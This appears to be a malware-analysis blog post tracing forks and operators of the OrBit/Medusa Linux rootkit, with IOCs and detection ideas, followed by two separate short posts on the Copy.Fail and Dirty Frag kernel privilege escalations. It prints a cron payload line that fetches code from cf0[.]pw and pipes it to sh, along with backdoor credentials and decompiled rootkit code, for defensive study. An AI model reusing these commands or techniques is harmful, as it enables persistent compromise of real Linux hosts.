Hash XOR Working dir Username Password Exports # Hooks Dropper
ec7462c3 0xA2 /lib/libseconf/ adm1n asdfasdf 67 53 8ea420d9

Samples From 2023

Hash XOR Working dir Username Password Exports # Hooks Dropper
d419a9b1 0xA2 /lib/fuckwhitehatshome/ fuckwhitehatsuser fuckwhitehatspass 67 53
296d28eb 0xA2 /lib/libseconf/ adm1n asdfasdf 65 54
3ba6c174 0xA2 /lib/libseconf/ adm1n (not present) 54 49 26082cd3
4203271c 0xA2 /lib/libseconf/ b4ph0m3t0 (not present) 54 49

The d419a9b1 sample stands out for the operator’s choice of the install path (/lib/fuckwhitehatshome/) and the SSH username and password. No other known samples use these strings, suggesting a different operator or persona authored this particular build rather than it simply being a different deployment of the same toolkit. Functionally, it carries the full 2022-era hook set, with 65 exports.

The 296d28eb sample is a full-featured build that uses the libseconf path and the same SSH credentials as ec7462c3. But this sample also has an evolutionary step: dropped TCP port hiding, added the exported xread function. This is not an LD_PRELOAD hook on a system library; it’s a wrapper that calls syscall(SYS_read) directly, bypassing the rootkit’s own hooked read().

The rootkit hooks the libc read() function; the hook filters out rootkit artifacts from files such as/proc/net/tcp and directory listings. Some C programs, such as Git, define their own internal
xread() helper that wraps read() to handle partial reads and EINTR. Normally, these internal helpers call libc read(), which the rootkit intercepts and filters. By exporting its own xread, which directly calls syscall (SYS_read), the rootkit shadows these program-internal helpers with a version that bypasses its own read hook entirely. This is a compatibility fix: without it, any program that defines xread would receive the rootkit’s filtered output through its core I/O path, potentially corrupting SSH protocol streams, breaking git operations, or causing other malfunctions that could expose the rootkit’s presence. The hook ensures that programs continue to function normally while the rootkit’s read interception remains active for standard libc callers.

This variant is still part of Lineage A.

00417249    uint64_t xread(int32_t fd, int64_t buf, int32_t count)

00417249    {
00417249        int32_t i = count;
0041725b        int32_t bytes_read = 0;
00417262        int32_t var_c = 0;
00417262        
004172ad        do
004172ad        {
0041728a            // SYS_read
0041728a            int32_t read_result = syscall(0, (uint64_t)fd, buf, (uint64_t)i);
0041728a            
00417296            if (read_result <= 0) 00417298 return (uint64_t)bytes_read; 00417298 004172a0 bytes_read += read_result; 004172a6 i -= read_result; 004172ad } while (i > 0);
004172ad        
004172af        return (uint64_t)bytes_read;
00417249    }

Β  Β  Β  Β  Β  Β The exported xread function in sample 296d28eb

3ba6c174 / 4203271c: Lineage B lite build

Both files, 3ba6c174 and 4203271c, represent the first appearance of Lineage B, a deliberately lite fork of the OrBit rootkit. Both are dynamically linked shared objects using the standard 0xA2 XOR key and installed in /lib/libseconf/, but they export only 54 functions, compared to the 67 in their closest Lineage A contemporaries (d419a9b1, ec7462c3). The 13 removed exports strip out three entire capability domains: network port-hiding (alloc_tcp_ports, remove_port, tcp_port_hidden, clean_ports), PAM credential interception (pam_authenticate, pam_acct_mgmt, pam_open_session, pam_get_password), and packet capture (pcap_loop, pcap_packet_callback). The string table reflects this (.logpam and .udp are absent), though .ports, .hosts, and sshpass2.txt are retained. This reduced feature set suggests they were purpose-built for different target environments where a smaller footprint or more limited functionality was either sufficient or preferred.

The most notable change is the complete absence of a backdoor password. Every Lineage A sample embeds a password in its XOR-encrypted string block, but in both 3ba6c174 and 4203271c, the password field is missing. Each sample carries a distinct username (adm1n and b4ph0m3t0, respectively), and these are the only byte-level differences between the two binaries. This pattern of 54 exports, no password, no PAM/pcap hooks, held consistent across all subsequent Lineage B samples through 2024.

Samples From 2024

Hash XOR Working dir Username Password Exports # Hooks Dropper
eea274ed 0xAA /lib64/libseconf/ Y0u4reCu6e 1qaz@WSX3edc123 66 54
a6138638 0xAA /lib/locate/ Y0u4reCu6e 1qaz@WSX3edc123 66 54
a34299a1 0xA2 /lib/libseconf/ rebel (not present) 56 49
b1dd18a6 0xA2 /lib/libseconf/ Gestuff (not present) 54 49 fc2e0cb6
989f7eb4 0xA2 /lib/libseconf/ adm1n (not present) 54 49 48a68d05

2024 is the most diverse epoch in OrBit’s timeline, with both lineages active simultaneously and an encryption key change in the Lineage A branch.

eea274ed / a6138638: Lineage A, 0xAA key rotation

These two samples belong to the same lineage: identical XOR key (0xAA is a break from the long-standing 0xA2), identical credentials (Y0u4reCu6e / 1qaz@WSX3edc123), and identical hook count (54). The only structural difference is the install path: /lib64/libseconf/ versus /lib/locate/. This is probably a deliberate path rotation to evade detections anchored on the previously documented /lib/libseconf/ directory. Credentials are stored inline in the XOR-encrypted block rather than written to sshpass.txt, representing a shift in the credential storage model. Both samples also have a reduced hook for the’ execve’ function: the execve hook handles persistence maintenance (apt/yum), output sanitization (dmesg), and ldd defeat. Compared to other samples in the lineage, it is a reduced feature set: no strace interception, no IP/iptables hooks, no command logging.

Despite sharing the same hook count, the two samples do not share the same hook set. a6138638 swaps read/write for readdir_r/readdir64_r, indicating a targeted adjustment to the directory-hiding mechanism. A string-level diff reveals more changes:Β 

  • Credential harvesting is saved in remote.txt.
  • Β This variant captures only SSH logins, not sudo sessions ([sudo] pass is missing).

The result is 52 decoded XOR strings in eea274ed versus 47 in a6138638. Both samples retain .udp, .pts, and the credential pair, preserving the core backdoor functionality. The removals target logging and forensic-capture features, suggesting a6138638 was tailored for a deployment where a lighter footprint was preferred.

a34299a1 / b1dd18a6 / 989f7eb4: Lineage B continuation

These samples continue the 54-export lite build lineage that first appeared in 2023 with 3ba6c174/4203271c. The hook set is identical (49 hooks), the XOR key remains 0xA2, and the same capability domains are absent: no PAM credential interception, no pcap sniffing, no TCP port hiding. The password field is still missing from the binary. Each sample carries a distinct username (rebel, Gestuff, adm1n, respectively), consistent with the Lineage B pattern of per-deployment username rotation, with no corresponding password.

989f7eb4 is the payload extracted from the 48a68d05 dropper. It was not on VT; we uploaded it.

Samples From 2025

Hash XOR Working dir Username Password Exports # Hooks Role
8e83cbb2 0xA2 /lib/libseconf/ infinity 302010 66 54 payload .so
2b2eeb22 0xA2 /lib/libseconf/ adm1n asdfasdf 64 54 payload .so (extracted from d3d204c1)
84828f31 0xA2 /lib/libseconf/ adm1n asdfasdf 64 54 truncated copy of 2b2eeb22
090b15fd β€” β€” β€” β€” β€” β€” dropper (carries 8e83cbb2)
64a3ebd3 β€” β€” β€” β€” β€” β€” dropper (carries 8e83cbb2)
b85ed157 β€” β€” β€” β€” β€” β€” dropper (carries 8e83cbb2)
d3d204c1 β€” β€” β€” β€” β€” β€” dropper (carries 2b2eeb22)
73b95b7d n/a β€” β€” β€” β€” β€” infector (carries 090b15fd as inner ELF)

The 2025 epoch marks two significant capability additions to Lineage A and confirms the rootkit’s return to the 0xA2 encryption key after the 2024 0xAA experiment.

Two distinct rootkit .so builds are present in 2025, both Lineage A:

8e83cbb2 represents the most capable build to date. Its 66-export set includes a significant new hook not seen in any prior variant: pam_sm_authenticate. This is the PAM service-side authentication function, meaning the rootkit now hooks both sides of the PAM stack. Where earlier variants could only passively capture credentials via client-side pam_authenticate, this build can also forge authentication outcomes, allowing the attacker to approve or deny login attempts at will. The export set also includes xread, first seen in 296d28eb (2023).

2b2eeb22 is a second Lineage A payload with 64 exports. XOR 0xA2 decode confirms credentials adm1n/asdfasdf, the same operator behind ec7462c3 (2022), 296d28eb (2023), and the 26082cd3 inner payload (2024), now spanning four years. 84828f31 is a truncated copy of 2b2eeb22 (same BuildID: cbc9724027399723a27daa4114ffcdf906cb802f, identical bytes up to 107KB, missing the trailing 102KB containing section headers and symbol tables), it is likely an incomplete extraction or download artifact. It is not a distinct sample.

XOR 0xA2 string decode of both payloads confirms the full Lineage A string set is restored: sshpass.txt and sshpass2.txt both present, plus .logpam, .udp, .ports (Γ—2), /proc/net/tcp. The string removals introduced by the 2024 0xAA cluster (a6138638β€˜s missing local.txt, sniff.txt, etc.) were not carried forward, and both builds return to the comprehensive logging and credential-capture model.

Dropper Samples

090b15fd, 64a3ebd3, and b85ed157 are statically linked ELF executables that carry 8e83cbb2 as an embedded .so and share the same Build ID: da256c78910c552eb334814ada85c7655b717c4f. d3d204c1 is the same type of dropper carrying 2b2eeb22. All four share the same architecture first seen in f1612924 (from 2022).

73b95b7d: A New Dropper Architecture

73b95b7d is not just a dropper, it is an infector that carries the dropper as an embedded payload. This creates a two-stage delivery chain: infector β†’ dropper β†’ rootkit.

The inner binary (090b15fd, embedded at file offset 0x20d7) is the dropper we previously saw. The infector’s role is propagation and persistence; the dropper’s role is to extract and install the rootkit .so via ld.so.preload.

The infector scans the filesystem for ELF binaries and injects the second-stage payload into them. An infection marker bongripz4jezuz (stored in base64 encoding as: Ym9uZ3JpcHo0amV6dXoK) is checked before each infection attempt to avoid re-infecting the same target. The injected binaries include:

  • /bin/ls
  • All 64-bit ELF files in the current working directory that have read/write access.

Additionally, /etc/cron.hourly/0 is created as a persistence mechanism (to download and execute a remote payload), though it is a shell script rather than an ELF injection target.

#!/bin/sh
wget --quiet http://cf0[.]pw/0/etc/cron.hourly/0 -O- 2>/dev/null|sh>/dev/null 2>&1

This is the first OrBit component with any form of C2 communication. Every previous version was a purely passive implant, meaning the attacker connected via the SSH backdoor.Β 

This introduces an external command channel that can deliver updated payloads or instructions, adding a reinfection mechanism on top of ld.so.preload persistence.

The earlier droppers stored all paths and commands as plaintext. 73b95b7d is the first dropper to implement string protection: a custom substitution cipher using two lookup tables at .data offsets for the cipher and plain, each with 88 entries, defining a character-by-character mapping. Notably, this is a different scheme from the XOR encryption used by the previous rootkit payloads.

char mw_plain_table[0x4e] = "0123456789abcdefghijklmnopqrstuvzywxABCDEFGHIJKLMNOPQRSTUVZYWX|:. !#-/;&*\'\"\n\r", 0
char mw_cipher_table[0x58] = "<>@o$:,.l+*^?=)(|AB&%;D{!wkUxzvutsrqp_nm-ihgfFCcba~K23456789eyd1XSNQWTZMIRHGVOYLjPJE/][", 0

Connection to RHOMBUS

The structure of this dropper, which delivers the OrBit payload in the final stage, is identical to that described in this APNIC blog that analyzed a dropper that delivered RHOMBUS malware.

Rhombus is a Linux-based botnet malware first reported in February 2020 by the MalwareMustDie research group, which analyzed and shared samples of it. It acts as an installer/dropper that persists on infected devices, drops a second-stage payload, and then uses the compromised system for DDoS activity. The target systems are VPS and IoT devices. (SHA256 of the dropper: b982276458a85cd3dd7c8aa6cb4bbb2d4885b385053f92395a99abbfb0e43784).

Interestingly, the dropper 73b95b7d that delivers the OrBit payload in the final stage is identical to the one used in the Rhombus campaign 6 years ago. Coincidentally, both droppers use the same domain to download the payload as part of the cron-job-based persistence. The current resolution of the domain is to 109.95.212[.]253. The host has a unique BANNER_0_HASH-IP value, ba0c31785465186600a76b7af2a37aa6, that is shared with only one other IP, 109.95.211[.]141, as shown in the screenshot below from Validin. Based on the ASN resolution, both IP addresses are located in Russia.

The fact that the OrBit dropper shares the same domain as malware from 6 years ago can also be interpreted as an attempt to mislead researchers; therefore, we are not taking this evidence into account for attribution at this moment. However, it is worth noting that this connection exists.

Shared BANNER_0_HASH-IP value.
Resolution of http://cf0[.]pw

Samples From February 2026

Hash XOR Working dir Username Password Exports # Hooks
04c06be0 0xA2 /lib/libseconf/ jokerteam HACK89SERVER 64 54
d7b487d2 0xA2 /lib/libseconf/ 57ill4Cu63 1qaz@WSX3edc098 64 54

These two samples are confirmed to be identical in structure: the same 54-hook set, the same XOR key (0xA2), and the same working directory (/lib/libseconf/). The only difference is credentials: jokerteam/HACK89SERVER versus 57ill4Cu63/1qaz@WSX3edc098. XOR 0xA2 decode confirms the full Lineage A string set.

No Lineage B samples have surfaced since 2024, suggesting the lite build may have been retired or consolidated back into the main branch.

Connection to BLOCKADE SPIDER

In CrowdStrike’s 2026 Global Threat Report, they mention that BLOCKADE SPIDER used the OrBit backdoor to maintain persistence and stealthy access to virtualization environments.

BLOCKADE SPIDER is a CrowdStrike-tracked eCrime adversary that has been active at least since 2024. They are known for running Embargo ransomware campaigns using sophisticated, multi-domain attack techniques.

Origin: OrBit is a fork of the Medusa open-source rootkit

Mandiant’s reporting on UNC3886 espionage operations identifies MEDUSA and its installer, SEAELF, as tools used by this state-sponsored actor against Juniper and VMware infrastructure. Essentially, OrBit is built from Medusa, an open-source LD_PRELOAD rootkit published on GitHub (github.com/ldpreload/Medusa) in December 2022.

Mandiant’s MEDUSA configuration table matches our 2024 Lineage A 0xAA-key cluster exactly across four independent fields: the XOR key 0xAA, the backdoor credentials Y0u4reCu6e and 1qaz@WSX3edc123, the install path /lib/locate/, and a modification to the rootkit that redirects strace output to /tmp/orbit.txt. That literal orbit filename, preserved as a plaintext artifact inside UNC3886’s MEDUSA binary, is direct cross-attribution: Mandiant’s β€œMEDUSA” sample set and our β€œOrBit” 2024 cluster are the same builds.

We compiled Medusa from source and compared the resulting binaries byte-for-byte against our OrBit corpus. The match is unambiguous, and it rewrites the attribution and evolution story.

Evidence of the fork

The first is a function-set and export match. Compiling Medusa’s src/rkld.c against the default Makefile recipe produces a shared object whose function set, hook list, and XOR-obfuscated string table are a direct superset match for OrBit Lineage A samples. The 2022 OrBit baseline (ec7462c3) shares all core exports with the Medusa build and reuses the identical XOR 0xA2 string obfuscation scheme driven by Medusa’s build-time xor_dump() pipeline, with the XOR key itself hardcoded in config.c.

The second is a source-filename fingerprint that is present in almost every sample we analyzed. Some of the samples ship with an unstripped ELF .symtab. The resulting filenames are preserved verbatim: rootkit samples carry rkld.c and, when Lineage A is linked in, rknet.c, while loader samples carry rkload.c. Those are the exact names of Medusa’s source files, src/rkld.c, src/rknet.c, and src/rkload.c. The filenames themselves are not secret, since the Medusa repository is public, but their verbatim presence in the compiled binary is a strong attribution anchor: every unstripped sample directly identifies the upstream tree it was built from. Of the samples in our corpus, only three are fully stripped (the 2025 dropper 73b95b7d, and the rootkit binaries a6138638 and b9822764). Three representative samples are shown below: a full Lineage A rootkit (ec7462c3, 2022), a Lineage B lite rootkit (3ba6c174, 2023), and the SEAELF loader (26082cd3, 2024).

$ readelf -s ec7462c3f4a874… | awk β€˜/FILEΒ  Β  LOCAL/’

Β Β Β Β 25: 0000000000000000 Β  Β  0 FILEΒ  Β  LOCALΒ  DEFAULTΒ  ABS crtstuff.c

Β Β Β Β 34: 0000000000000000 Β  Β  0 FILEΒ  Β  LOCALΒ  DEFAULTΒ  ABS rkld.c

Β Β Β Β 40: 0000000000000000 Β  Β  0 FILEΒ  Β  LOCALΒ  DEFAULTΒ  ABS rknet.c

Β Β Β Β 46: 0000000000000000 Β  Β  0 FILEΒ  Β  LOCALΒ  DEFAULTΒ  ABS crtstuff.c

$ readelf -s 3ba6c174a72e4b… | awk β€˜/FILEΒ  Β  LOCAL/’

Β Β Β Β Β 1: 0000000000000000 Β  Β  0 FILEΒ  Β  LOCALΒ  DEFAULTΒ  ABS crtstuff.c

Β Β Β Β Β 9: 0000000000000000 Β  Β  0 FILEΒ  Β  LOCALΒ  DEFAULTΒ  ABS rkld.c

Β Β Β Β 15: 0000000000000000 Β  Β  0 FILEΒ  Β  LOCALΒ  DEFAULTΒ  ABS crtstuff.c

$ readelf -s 26082cd36fdaf7… | awk β€˜/FILEΒ  Β  LOCAL/’

Β Β Β Β Β 1: 0000000000000000 Β  Β  0 FILEΒ  Β  LOCALΒ  DEFAULTΒ  ABS crtstuff.c

Β Β Β Β Β 9: 0000000000000000 Β  Β  0 FILEΒ  Β  LOCALΒ  DEFAULTΒ  ABS rkload.c

Β Β Β Β 14: 0000000000000000 Β  Β  0 FILEΒ  Β  LOCALΒ  DEFAULTΒ  ABS crtstuff.c

The Lineage A rootkit carries both rkld.c and rknet.c; the Lineage B rootkit, which omits the advanced hook set, carries only rkld.c; and the loader carries rkload.c. The same pattern holds across the wider corpus.

Alongside the filename fingerprint, the loader’s entry-point dispatch, its build_root() filesystem layout (.boot.sh, .logpam, sshpass.txt, sshpass2.txt, .ports), and its SELinux setxattr sequence all map one-to-one to the Medusa source.

The third is an embedded inner ELF produced by xxd -i. Medusa’s Makefile embeds build/rkld.so into the loader using the xxd -i build/rkld.so > build/rkld.h step, which is then included by the loader compiled at Makefile line 33. OrBit’s loader binaries follow this pattern: a rkld.so blob embedded as a C byte array within the loader ELF, dropped to disk at runtime. The embedding technique, offset layout, and post-drop execution flow are identical.

Per-Module Source Mapping

Medusa’s source tree maps cleanly onto the OrBit binary set we have tracked:

Medusa source Role Corresponding OrBit artifact
src/rkld.c Main rootkit (libc hooks, PAM harvest, file/proc/net hiding) All Lineage A / Lineage B rootkit .so samples
src/rkload.c Installer / SEAELF loader (patches ld.so, writes /etc/ld.so.preload, drops inner rootkit) 26082cd3 and related loader/installer samples
src/rknet.c Advanced hooks: xread, audit_log_acct_message, audit_log_user_message, pam_sm_authenticate, pcap_loop, port-hiding Not compiled in the default Makefile. Linked in only in Lineage A β€œfull” builds.

The Medusa default Makefile compiles only src/rkld.c. Every Lineage A capability that appeared to β€œarrive” in OrBit between 2023 and 2025 was already present as source in Medusa’s src/rknet.c on day one of the public release. The operators’ work was to modify the Makefile to link rknet.c into their build, not to author those functions.

Timeline Anomaly

Our analysis shows that an initial OrBit sample (40b5127c) appeared in July 2022, predating the repository’s publication by approximately 5 months. Based on this information, there are two options: either the Medusa author published a privately-circulated rootkit source that had already been deployed operationally, or the earliest OrBit sample was built from a pre-publication snapshot of the same tree. Either way, the 2022 OrBit sample and the December 2022 Medusa source tree are the same codebase. The question is only which commit was made public first.

Implications

The appearance of a single rootkit family across four years does not imply a single operator. OrBit and Medusa have been built and deployed by at least three unrelated actor clusters we can presently distinguish, including the state-sponsored espionage activity attributed to UNC3886, the eCrime ransomware operations run by BLOCKADE SPIDER, and the 2025 cron-dropper campaign previously linked to RHOMBUS infrastructure. Attribution at the family level is therefore not enough, and defenders tracking an OrBit infection should separate the questions of which codebase was used from which operator configured and deployed it.

Tracking version-over-version changes in OrBit reads less like an active malware development project and more like a record of build-flag toggles, credential rotations, and install-path swaps against a stable upstream. The capability ceiling is set by the Medusa source tree as it existed in December 2022, and every apparent new feature we observed between 2023 and 2025 was already present in that tree, waiting for an operator to link it in. The xread read-hook bypass we first flagged as a 2023 compatibility shim is a function in src/rknet.c. The auditd evasion pair we called out as a 2024 addition, audit_log_acct_message and audit_log_user_message, sits in the same file. The PAM stack we noted as gradually expanding across versions, including pam_authenticate, pam_acct_mgmt, pam_open_session, and the 2025 service-side impersonation hook pam_sm_authenticate, is all present in the same rknet.c, as is the pcap_loop packet hook that appears in full Lineage A builds. None of these files is linked in by the default Makefile recipe, which compiles only src/rkld.c. Their arrival in individual OrBit samples corresponds to an operator modifying the build to include rknet.c, not to new code being written.Β 

Signatures based on invariants of the Medusa build pipeline will also flag builds from operators we have not yet seen. Three such invariants are worth calling out.Β 

  • The string table produced by Medusa’s xor_dump() routine, which emits every protected string as a contiguous block of single-byte XOR-obfuscated byte arrays within the compiled binary. Operators change the key value (0xA2 in most builds, 0xAA in the 2024 UNC3886 cluster) and some paths, but the table’s shape and the majority of its entries are fixed by the source. A YARA rule that decodes the table with a variable single-byte key and matches on a threshold count of known plaintext strings catches any build, regardless of which key was chosen.Β 
  • The filesystem skeleton that the loader’s build_root() writes into its install directory. Operators vary only the parent directory (/lib/libseconf/, /lib/locate/, /lib/libntpVnQE6mk/), so host-based detection can alert on the co-occurrence of that filename set inside any directory, and binary-level signatures can match the embedded filename constants and the setxattr call pattern directly.Β 
  • The nested-ELF structure produced by the xxd – +i build/rkld.so > build/rkld.h step in the Makefile, which bakes a full secondary ELF into the loader’s .rodata. Every Medusa loader therefore carries a second ELF magic inside its own image, followed by a length constant, and, if the binary is not stripped, two xxd-generated symbols (rkld_so and rkld_so_len ). The nested-ELF shape on its own is not specific enough to be a detection signature: plenty of legitimate software and unrelated malware use xxd -i or equivalent techniques to embed a payload, and any such binary will match a naive β€œsecond ELF at non-zero offset plus length constant” rule. The Medusa-specific part is the pairing of that structural pattern with (a) the symbol names rkld_so and rk +ld_so_len in the loader’s symbol table when the binary is not stripped, and (b) the inner ELF itself, matching the rootkit fingerprint described earlier in this section, which gives both a family-level anchor and a structural one.

Conclusion

The analysis of OrBit variants from 2022 through early 2026 reveals a Linux rootkit whose code later surfaced in an open-source codebase named Medusa. This suggests that the backdoor was created before its public release and has since been selectively forked, configured, and redeployed by multiple operators over four years. We identified two parallel build paths: the comprehensive Lineage A (β€œFull” build), which links in Medusa’s src/rknet.c advanced hook set, and the temporary Lineage B (lite build), which ships only the src/rkld.c core and was retired after 2024. Apparent β€œmilestones” in Lineage A are the xread wrapper (2023), the audit_log_* auditd-evasion hooks (2024), and the 2025 addition of the pam_sm_authenticate hook, which corresponds one-to-one with functions already present in Medusa’s published source. The operator work is in the build configuration and deployment, not the C code.

Our analysis of the OrBit samples also discovered that at least 3 different operators are using the backdoor. A major operational shift occurred in 2025 with the introduction of a new two-stage infector architecture, marking one operator’s transition from a purely passive SSH-backdoor implant to malware with its first direct C2 capability. This infector utilizes a cron job to fetch external payloads from the domain cf0[.]pw. The architecture of this new dropper is identical to one used in the 2020 RHOMBUS botnet campaign, suggesting shared tooling or operator overlap, a link further cemented by the C2 domain resolving to infrastructure located in Russia. In parallel, the same Medusa codebase was weaponized upstream by the state-sponsored espionage actor UNC3886 (tracked by Mandiant). The 2024 0xAA-key cluster we tracked as Lineage A corresponds exactly to UNC3886’s MEDUSA configuration, including the backdoor credentials, the install path, and a strace artifact that retains the literal β€œorbit” string. The rootkit has also been adopted by the CrowdStrike-tracked eCrime adversary BLOCKADE SPIDER since at least 2024, who leverage OrBit for stealthy persistence against VMware vCenter infrastructure to facilitate the deployment of Embargo ransomware. The continued emergence of new Lineage A samples in 2026, accompanied by operator-specific credential rotation, confirms that a single public rootkit codebase is being cloned and configured by multiple unrelated actor groups.

IOC Table

SHA256 Year Role Lineage
40b5127c8cf9d6bec4dbeb61ba766a95c7b2d0cafafcb82ede5a3a679a3e3020 2022 payload A
ec7462c3f4a87430eb19d16cfd775c173f4ba60d2f43697743db991c3d1c3067 2022 payload A
f1612924814ac73339f777b48b0de28b716d606e142d4d3f4308ec648e3f56c8 2022 dropper –
d419a9b17f7b4c23fd4e80a9bce130d2a13c307fccc4bfbc4d49f6b770d06d3b 2023 payload A
296d28eb7b66aa2cbea7d9c2e7dc1ad6ce6f97d44d34139760c38817aec083e7 2023 payload A
3ba6c174a72e4bf5a10c8aaadab2c4b98702ee2308438e94a5512b69df998d5a 2023 payload B
4203271c1a0c24443b7e85cbf066c9928fcc69934772a431d779017fb85c9d73 2023 payload B
eea274eddd712fe0b4434dbef6a2a92810cb13b8be3deca0571410ee78d37c9f 2024 payload A
a61386384173b352e3bd90dcef4c7268a73cd29f6ae343c15b92070b1354a349 2024 payload A
a34299a16cf30dac1096c1d24188c72eed1f9d320b1585fe0de4692472e3d4dc 2024 payload B
b1dd18a6a4b0c6e2589312bbec55b392a20a95824ffe630a73c94d24504c553d 2024 payload B
989f7eb4f805591839bcbc321dd44418eb5694d1342e37b7f24126817f10e37e 2024 payload (extracted) B
8ea420d9aa341ba23cdea0ac03951bce866c933ba297268bc7db8a01ce8e9b8e 2024 payload (static ELF) A
26082cd36fdaf76ec0d74b7fbf455418c49fbab64b20892a873c415c3bb60675 2024 loader –
48a68d0555f850c36f7d338b1a42ed1a661043cacf2ba2a4b0a347fac3cb3ee6 2024 dropper –
fc2e0cb627a00d0e4509bd319271721ea74fb11150847213abe9e8fea060cc8a 2024 dropper –
8e83cbb2ed12faba9b452ea41291bcebdce08162f64ac9a5f82592df62f47613 2025 payload A
2b2eeb2271c19e2097a0ef0d90b2b615c20f726590bbfee139403db1dced5b0a 2025 payload A
84828f31d741f92ce4bca98cfc2148ff8cff6663e2908a025b1386dd4953ffef 2025 payload (truncated) A
090b15fd8912cab340b22e715d44db079ec641db5e2f92916aa1f2bc9236e03e 2025 dropper –
64a3ebd3ad3927fc783f6ac020d5a6192e9778fb16b51cceba06e4ee5416adff 2025 dropper –
b85ed15756568b85148c1d432a8920f81e4b21f2bc38f0cf51d06ced619e0e77 2025 dropper –
d3d204c19d93e5e37697c7f80dd0de9f76a2fb4517ced9cafd7d7d46a6e285ba 2025 dropper –
73b95b7d1006caf8d3477e4a9a0994eaa469e98b70b8c198a82c4a12c91ad49a 2025 infector β€”
04c06be0f65d3ead95f3d3dd26fe150270ac8b58890e35515f9317fc7c7723c9 2026 payload A
d7b487d2e840c4546661f497af0195614fc0906c03d187dc39815c811ea5ec3f 2026 payload A
b982276458a85cd3dd7c8aa6cb4bbb2d4885b385053f92395a99abbfb0e43784 2020 RHOMBUS dropper –

Β 

Β 

The post OrBit (Re)turns: Tracking an open-source Linux rootkit across four years of forks and deployments appeared first on Intezer.

  •  

Copy.Fail Linux Vulnerability

This is the worst Linux vulnerability in years.

TL;DR

  • copy.fail is a Linux kernel local privilege escalation, not a browser or clipboard attack. Disclosed by Theori on 29 April 2026 with a working PoC.
  • It abuses the kernel crypto API (AF_ALG sockets) plus splice() to write four bytes at a time straight into the page cache of a file the attacker does not own.
  • The exploit works unmodified across Ubuntu, RHEL, Debian, SUSE, Amazon Linux, Fedora and most others. No race condition, no per-distro offsets.
  • The file on disk is never modified. AIDE, Tripwire and checksum-based monitoring see nothing.
  • Kubernetes Pod Security Standards (Restricted) and the default RuntimeDefault seccomp profile do not block the syscall used. A custom seccomp profile is needed.
  • The mainline fix landed on 1 April. Distros are rolling kernels out now. Patch.

β€œLocal privilege escalation” sounds dry, so let me unpack it. It means: an attacker who already has some way to run code on the machine, even as the most boring unprivileged user, can promote themselves to root. From there they can read every file, install backdoors, watch every process, and pivot to other systems.

Why does that matter on shared infrastructure? Because β€œlocal” covers a lot of ground in 2026: every container on a shared Kubernetes node, every tenant on a shared hosting box, every CI/CD job that runs untrusted pull-request code, every WSL2 instance on a Windows laptop, every containerised AI agent given shell access. They all share one Linux kernel with their neighbours. A kernel LPE collapses that boundary.

News article.

  •  

Active attack: Dirty Frag Linux vulnerability expands post-compromise risk

A newly disclosed Linux local privilege escalation vulnerability known as β€œDirty Frag” enables escalation from an unprivileged user to root through vulnerable kernel networking and memory-fragment handling components, including esp4, esp6 (CVE-2026-43284), and rxrpc (CVE-2026-43500). Public reporting and proof-of-concept activity indicate the exploit is designed to provide more reliable privilege escalation than traditional race-condition-dependent Linux local privilege escalation techniques.

Dirty Frag may be leveraged after initial compromise through SSH access, web-shell execution, container escape, or compromise of a low-privileged account. Affected environments may include Ubuntu, RHEL, CentOS Stream, AlmaLinux, Fedora, openSUSE, and OpenShift deployments. Microsoft Defender is actively monitoring related activity and investigating additional detections and protections.


This article details an ongoing investigation into active campaign. We will update this report as new details emerge. Latest update: May 14, 2026.

May 14 update

A new variant of the recent Dirty Frag vulnerability, named Fragnesia (CVE-2026-46300), has been discovered. Similarly to Dirty Frag, this variant leverages a different bug to be able to manipulate Linux page cache behavior to achieve privilege escalation. Fragnesia leverages a bug in the esp/xfrm module only, unlike Dirty Frag that also provided an attack path via rxrpc.

Signatures Trojan:Linux/DirtyFrag.Z!MTB and Trojan:Linux/DirtyFrag.DA!MTB, released initially to cover Dirty Frag, also cover the public exploit for Fragnesia and can be used as indicators of a possible abuse of this vulnerability. A patch is available, and while no in-the-wild exploitation has been observed at this time, we urge users and organizations to apply the patch as soon as possible by running update tools. If patching is not possible at this point, consider applying the same mitigations for Dirty Frag.


Why Dirty Frag matters

Local privilege escalation vulnerabilities are frequently used by threat actors after initial access to expand control over a compromised environment. Once root access is obtained, attackers can disable security tooling, access sensitive credentials, tamper with logs, pivot laterally, and establish persistent access.

Dirty Frag is notable because it introduces multiple kernel attack paths involving rxrpc and esp/xfrm networking components to improve exploitation reliability. Rather than relying on narrow timing windows or unstable corruption conditions often associated with Linux local privilege escalation exploits, Dirty Frag appears designed to increase consistency across vulnerable environments.

This increases operational risk in environments where threat actors already possess limited local execution capability through compromised accounts, vulnerable applications, containers, or exposed administrative interfaces.

Technical overview

Dirty Frag abuses Linux kernel networking and memory-fragment handling behavior involving esp4, esp6, and rxrpc components. Similar to the previously disclosed CopyFail vulnerability (CVE-2026-31431), the exploit attempts to manipulate Linux page cache behavior to achieve privilege escalation. However, Dirty Frag introduces additional attack paths that expand exploitation opportunities and improve reliability.

The vulnerability affects systems where vulnerable modules are present and accessible. In many enterprise environments, these components may already be enabled to support IPsec, VPN functionality, or other networking workloads.

Exploitation scenarios

Threat actors may leverage Dirty Frag after obtaining local code execution through several common intrusion paths, including:

  • Compromised SSH accounts
  • Web-shell access on internet-facing applications
  • Container escapes into the host environment
  • Abuse of low-privileged service accounts
  • Post-exploitation activity following phishing or remote access compromise

Once local access is established, successful exploitation may allow attackers to escalate privileges to root and gain broad control over the affected Linux host.

Limited In-The-Wild Exploitation

Microsoft Defender is currently seeing limited in-the-wild activity where privilege escalation involving β€˜su’ is observed, and which may be indicative of techniques associated with either β€œDirty Frag” or β€œCopy Fail”.

The campaign shows a sequential attack timeline where an external connection gains SSH access and spawns an interactive shell, followed by staging and execution of an ELF binary (./update) that immediately triggers a privilege escalation via β€˜su’.

After gaining elevated access, the actor modifies a GLPI LDAP authentication file (evidenced by a .swp file from vim), performs reconnaissance of the GLPI directory and system configuration, and inspects an exploit artifact. The activity then shifts to accessing sensitive data and interacting with PHP session files β€” first deleting multiple session files and then forcefully wiping additional ones β€” before reading remaining session data, indicating both disruption of active sessions and access to session contents.

Mitigation guidance

The Linux Kernel Organization released patches, which are linked at theΒ National Vulnerability DatabaseΒ (NVD), to fix CVE-2026-43284 on May 8, 2026. Customers who have not applied these patches are urged to do so as soon as possible. As of May 8, 2026, patches for CVE-2026-43500 are not available. CVE-2026-43500 is reportedly reserved for the RxRPC issue but is not yet published in NVD.

While comprehensive remediation guidance continues to evolve, organizations should evaluate interim mitigations immediately.

Recommended actions include:

  • Disable unused rxrpc kernel modules where operationally possible
  • Assess whether esp4, esp6, and related xfrm/IPsec functionality can be temporarily disabled safely
  • Restrict unnecessary local shell access
  • Harden containerized workloads
